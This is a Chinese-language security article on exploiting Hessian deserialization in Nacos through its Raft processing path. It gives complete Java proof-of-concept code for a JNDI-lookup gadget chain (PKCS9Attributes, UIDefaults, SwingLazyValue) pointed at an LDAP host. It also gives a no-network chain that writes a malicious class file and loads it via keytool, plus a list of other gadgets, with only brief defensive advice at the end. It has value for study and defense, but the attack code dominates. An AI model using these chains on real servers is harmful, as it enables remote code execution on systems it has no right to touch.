由 nacos 引出的 Hessian 反序列化利用
字数 1976 2025-08-05 08:19:51

Hessian 反序列化漏洞利用技术详解

1. Raft协议基础

Raft协议是一种分布式一致性算法(共识算法),用于多个节点对某一个事件达成一致。即使出现部分节点故障或网络延迟等情况,也能保证系统整体可用性。

关键特性:

  • 通过日志复制机制保证数据一致性
  • 需要超半数节点提交才能完成操作
  • 有leader节点负责协调操作

2. Nacos中的反序列化流程

在Nacos中,反序列化漏洞的触发路径如下:

  1. com.alibaba.nacos.core.distributed.raft.processor.AbstractProcessor#handleRequest 接收raft请求
  2. 寻找leader节点(可选的group有三个)
  3. 调用execute方法(只有leader节点才能调用)
  4. JRaftServer#applyOperation将data封装为com.alipay.sofa.jraft.entity.Task提交到Raft集群
  5. Raft框架处理日志复制和提交
  6. 最终调用状态机的onApply方法
  7. 对于naming_instance_metadata,会调用InstanceMetadataProcessoronApply
  8. 当message类型是WriteRequest时触发反序列化

注意:每次POC执行后节点会变成state_error状态,默认情况下只能打三次(因为有三个节点)。恢复方法:替换全新的data并重启服务。

3. Hessian反序列化利用技术

3.1 出网利用链

利用链:

Rdn$RdnEntry#compareTo ->
    XString#equal ->
        MultiUIDefaults#toString ->
            UIDefaults#get ->
                UIDefaults#getFromHashTable ->
                    UIDefaults$LazyValue#createValue ->
                        SwingLazyValue#createValue ->
                            InitialContext#doLookup()

关键点:

  1. Hessian默认不允许序列化非Serializable接口的类,但可通过设置SerializerFactory#_isAllowNonSerializabletrue绕过
  2. 由于MultiUIDefaults不是public类,反序列化时会报错
  3. 替代方案:使用sun.security.pkcs.PKCS9Attributes,其反序列化器是UnsafeDeserializer

完整POC代码:

public class HessianDemo {
    public static void main(String[] args) throws Exception {
        SwingLazyValue lazyValue = new SwingLazyValue("javax.naming.InitialContext","doLookup",new String[]{"ldap://127.0.0.1:1389/xx"});
        UIDefaults uiDefaults = new UIDefaults();
        uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, lazyValue);
        PKCS9Attributes p = new PKCS9Attributes(new PKCS9Attribute[]{});
        Field f = p.getClass().getDeclaredField("attributes");
        f.setAccessible(true);
        f.set(p, uiDefaults);
        byte[] b = hserialize(p);
        hdeserialize(b);
    }

    public static <T> byte[] hserialize(T t) {
        byte[] data = null;
        try {
            ByteArrayOutputStream os = new ByteArrayOutputStream();
            Hessian2Output output = new Hessian2Output(os);
            output.getSerializerFactory().setAllowNonSerializable(true);
            output.writeObject(t);
            output.flushBuffer();
            data = os.toByteArray();
        } catch (Exception e) {
            e.printStackTrace();
        }
        return data;
    }

    public static Object hdeserialize(byte[] data){
        if (data == null) {
            return null;
        }
        Object result = null;
        try {
            byte[] b = new byte[]{67};
            data = byteMerger(b, data);
            ByteArrayInputStream is = new ByteArrayInputStream(data);
            Hessian2Input input = new Hessian2Input(is);
            result = input.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
        return result;
    }

    public static byte[] byteMerger(byte[] bt1, byte[] bt2){
        byte[] bt3 = new byte[bt1.length+bt2.length];
        System.arraycopy(bt1, 0, bt3, 0, bt1.length);
        System.arraycopy(bt2, 0, bt3, bt1.length, bt2.length);
        return bt3;
    }
}

关键细节

  • 需要在序列化数据前写入byte 67,以触发expect方法
  • PKCS9AttributestoString会调用UIDefaultsget方法
  • 使用PKCS9Attribute.EMAIL_ADDRESS_OID作为key满足条件

调用栈:

PKCS9Attributes#toString ->
        UIDefaults#get ->
            UIDefaults#getFromHashTable ->
                UIDefaults$LazyValue#createValue ->
                    SwingLazyValue#createValue ->
                        InitialContext#doLookup()

3.2 高版本JDK利用

高版本JDK需要:

  1. 设置com.sun.jndi.rmi.object.trustURLCodebase解除lookup限制
  2. 但Hessian黑名单限制了java.lang.System的调用
  3. 解决方案:利用Nacos的Tomcat依赖加载本地BeanFactory

3.3 不出网利用

利用链:

  1. jdk.nashorn.internal.codegen.DumpBytecode#dumpBytecode 写class文件
  2. sun.security.tools.keytool.Main#main 加载class

关键点:

  • 必须使用UIDefaults.ProxyLazyValue而非SwingLazyValue,因为前者能加载到nashorn.jar
  • 使用sun.security.tools.keytool.Main作为加载入口

POC分为两部分:

3.3.1 写Class文件

// HessianWriteClass.java
public class HessianWriteClass {
    public static void main(String[] args) throws Exception {
        ScriptEnvironment scriptEnvironment = (ScriptEnvironment) getUnsafe().allocateInstance(ScriptEnvironment.class);
        Field dest_dir = scriptEnvironment.getClass().getDeclaredField("_dest_dir");
        dest_dir.setAccessible(true);
        dest_dir.set(scriptEnvironment, System.getProperty("java.io.tmpdir"));
        UIDefaults.ProxyLazyValue lazyValue_2 = new UIDefaults.ProxyLazyValue("jdk.nashorn.internal.codegen.DumpBytecode","dumpBytecode",
                new Object[]{
                        scriptEnvironment,
                        getUnsafe().allocateInstance(DebugLogger.class),
                        ToByte.toByte(), // 恶意class字节码
                        "RunCommand",
                }
        );
        // ...后续序列化操作与前面类似...
    }
}

3.3.2 加载Class文件

// HessianLoadClass.java
public class HessianLoadClass {
    public static void main(String[] args) throws Exception {
        UIDefaults.ProxyLazyValue lazyValue_2 = new UIDefaults.ProxyLazyValue("sun.security.tools.keytool.Main",
                "main",
                new Object[]{new String[]{
                        "-genkeypair",
                        "-keypass", "123456",
                        "-keystore", "test",
                        "-storepass", "123456",
                        "-providername", "test",
                        "-providerclass", "RunCommand", // 加载的恶意类名
                        "-providerpath", System.getProperty("java.io.tmpdir")}}
        );
        // ...后续序列化操作...
    }
}

4. 其他利用方式

  1. JDK <8u251:使用com.sun.org.apache.bcel.internal.util.JavaWrapper#_main加载BCEL
  2. 无黑名单情况:调用sun.reflect.misc.MethodUtil#invoke执行命令
  3. 写动态链接库jdk.nashorn.internal.codegen.DumpBytecode#dumpByteCode写DLL + System.load加载
  4. JAR利用sun.tools.jar.Main.main
  5. 写文件com.sun.org.apache.xml.internal.security.utils.JavaUtils#writeBytesToFilename

5. 防御建议

  1. 升级Hessian到最新版本
  2. 严格限制反序列化的类白名单
  3. 监控和限制JNDI lookup操作
  4. 对Raft通信进行加密和认证
  5. 及时更新JDK到最新版本

6. 总结

Hessian反序列化漏洞利用技术多样,从出网的JNDI注入到不出网的本地类加载,针对不同环境有多种利用方式。理解这些技术有助于更好地防御此类漏洞。

Hessian 反序列化漏洞利用技术详解 1. Raft协议基础 Raft协议是一种分布式一致性算法(共识算法),用于多个节点对某一个事件达成一致。即使出现部分节点故障或网络延迟等情况,也能保证系统整体可用性。 关键特性: 通过日志复制机制保证数据一致性 需要超半数节点提交才能完成操作 有leader节点负责协调操作 2. Nacos中的反序列化流程 在Nacos中,反序列化漏洞的触发路径如下: com.alibaba.nacos.core.distributed.raft.processor.AbstractProcessor#handleRequest 接收raft请求 寻找leader节点(可选的group有三个) 调用 execute 方法(只有leader节点才能调用) JRaftServer#applyOperation 将data封装为 com.alipay.sofa.jraft.entity.Task 提交到Raft集群 Raft框架处理日志复制和提交 最终调用状态机的 onApply 方法 对于 naming_instance_metadata ,会调用 InstanceMetadataProcessor 的 onApply 当message类型是 WriteRequest 时触发反序列化 注意 :每次POC执行后节点会变成 state_error 状态,默认情况下只能打三次(因为有三个节点)。恢复方法:替换全新的data并重启服务。 3. Hessian反序列化利用技术 3.1 出网利用链 利用链: 关键点: Hessian默认不允许序列化非 Serializable 接口的类,但可通过设置 SerializerFactory#_isAllowNonSerializable 为 true 绕过 由于 MultiUIDefaults 不是public类,反序列化时会报错 替代方案:使用 sun.security.pkcs.PKCS9Attributes ,其反序列化器是 UnsafeDeserializer 完整POC代码: 关键细节 : 需要在序列化数据前写入byte 67 ,以触发 expect 方法 PKCS9Attributes 的 toString 会调用 UIDefaults 的 get 方法 使用 PKCS9Attribute.EMAIL_ADDRESS_OID 作为key满足条件 调用栈: 3.2 高版本JDK利用 高版本JDK需要: 设置 com.sun.jndi.rmi.object.trustURLCodebase 解除lookup限制 但Hessian黑名单限制了 java.lang.System 的调用 解决方案:利用Nacos的Tomcat依赖加载本地 BeanFactory 3.3 不出网利用 利用链: jdk.nashorn.internal.codegen.DumpBytecode#dumpBytecode 写class文件 sun.security.tools.keytool.Main#main 加载class 关键点: 必须使用 UIDefaults.ProxyLazyValue 而非 SwingLazyValue ,因为前者能加载到 nashorn.jar 使用 sun.security.tools.keytool.Main 作为加载入口 POC分为两部分: 3.3.1 写Class文件 3.3.2 加载Class文件 4. 其他利用方式 JDK <8u251 :使用 com.sun.org.apache.bcel.internal.util.JavaWrapper#_main 加载BCEL 无黑名单情况 :调用 sun.reflect.misc.MethodUtil#invoke 执行命令 写动态链接库 : jdk.nashorn.internal.codegen.DumpBytecode#dumpByteCode 写DLL + System.load 加载 JAR利用 : sun.tools.jar.Main.main 写文件 : com.sun.org.apache.xml.internal.security.utils.JavaUtils#writeBytesToFilename 5. 防御建议 升级Hessian到最新版本 严格限制反序列化的类白名单 监控和限制JNDI lookup操作 对Raft通信进行加密和认证 及时更新JDK到最新版本 6. 总结 Hessian反序列化漏洞利用技术多样,从出网的JNDI注入到不出网的本地类加载,针对不同环境有多种利用方式。理解这些技术有助于更好地防御此类漏洞。